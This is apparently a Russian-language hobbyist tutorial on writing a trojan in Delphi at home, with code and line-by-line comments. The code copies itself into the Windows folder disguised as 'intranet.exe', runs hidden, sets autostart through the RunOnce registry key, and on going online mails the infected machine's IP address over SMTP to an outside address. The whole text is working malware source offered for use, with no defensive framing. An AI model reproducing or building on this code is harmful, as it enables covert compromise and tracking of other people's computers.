советую создать трояна в домашних условиях.

var WinPath : array [0..255] of char;
CurPath : String;
begin
CurPath := ExtractFilePath(ParamStr(0));
GetWindowsDirectory(WinPath,255);
If pos(WinPath, CurPath) <> 0 then
With Start1 do
begin
AppName := 'IntraNet';
StartNextLogon := True;
end
else
begin
CopyFile(@(ParamStr(0))[1],@(WinPath+'\intranet.exe')[1],false);
WinExec(@(WinPath+'\intranet.exe')[1],sw_Hide);
close;
end;
end;
Что это все делает:

var WinPath : array [0..255] of char;
CurPath : String;
Объявление переменных. WinPathбудем использовать для каталога винды, а CurPathдля текущего каталога.
CurPath := ExtractFilePath(ParamStr(0));
GetWindowsDirectory(WinPath,255);
Заполняем переменные, надеюсь эти функции в знаете, ежели нет, то вам прямая дорога в хелпы.
If pos(WinPath, CurPath) <> 0 then
Если наш файл в каталоге винды, то
With RayLightAutostart1 do
begin
AppName := 'IntraNet';
Как зарегестрируемся в реестре, то биш как назовемся, а назавемся "Intranet" - что то знакомое, а что делает не помним :-).
StartNextLogon := True;
Запускаться при следующем старте винды - да. То есть теперь при перезагрузке винды мы запустимся и пропись в реестре будет в несовсем обычном месте, а именно в RunOnce, а не в Run.
end
else
Ежели файл не в каталоге винды, то идем сюда и копируем его в каталог с виндами, а потом сами себя запускаем и закрываемся... или во всяком случае пытаемся :-).
begin
CopyFile(@(ParamStr(0))[1],@(WinPath+'\intranet.exe')[1],false);
WinExec(@(WinPath+'\intranet.exe')[1],sw_Hide);
close;
end;
Ну чтож, процедуру автозапуска мы сотворили, теперь вирь каждый раз при запуске машины будет сам себя инициализировать, а при запуске из каталога отличного от виндов, мы сами себя скопируем.

Теперь нам при выходе компа в инет надо послать письмо, так? ну чтож, так и сделаем. Cледующтй код ставим в событие OnChangeу OnlineIP:

If not OnlineIP1.Online then exit;
если мы не в сети, то выходим из процедуры
NmSMTP1.Connect;
Коннектимся SMTP клиентом к серверу (SMTP)
if NMSMTP1.Connected then
Если подконнектились, то
begin
NMSMTP1.SubType := mtPlain;
Тип письма: обычный текст
NMSMTP1.PostMessage.FromAddress := '';
От кого письмо идет (адрес)
NMSMTP1.PostMessage.FromName := 'First Thojan';
От кого идет письмо (имя)
NMSMTP1.PostMessage.ToAddress.Text := '30005554@icq.com';
На какой адресс шлем письмо
NMSMTP1.PostMessage.Body.Text := 'Ip:'+OnlineIp1.IP;
Что будкт в теле письма. У нас просто будет IP машины (пока что)
NMSMTP1.PostMessage.Subject := 'Server is online';
И наконец, какая тема у письма
NMSMTP1.SendMail;
И вот наше письмо тютю :-).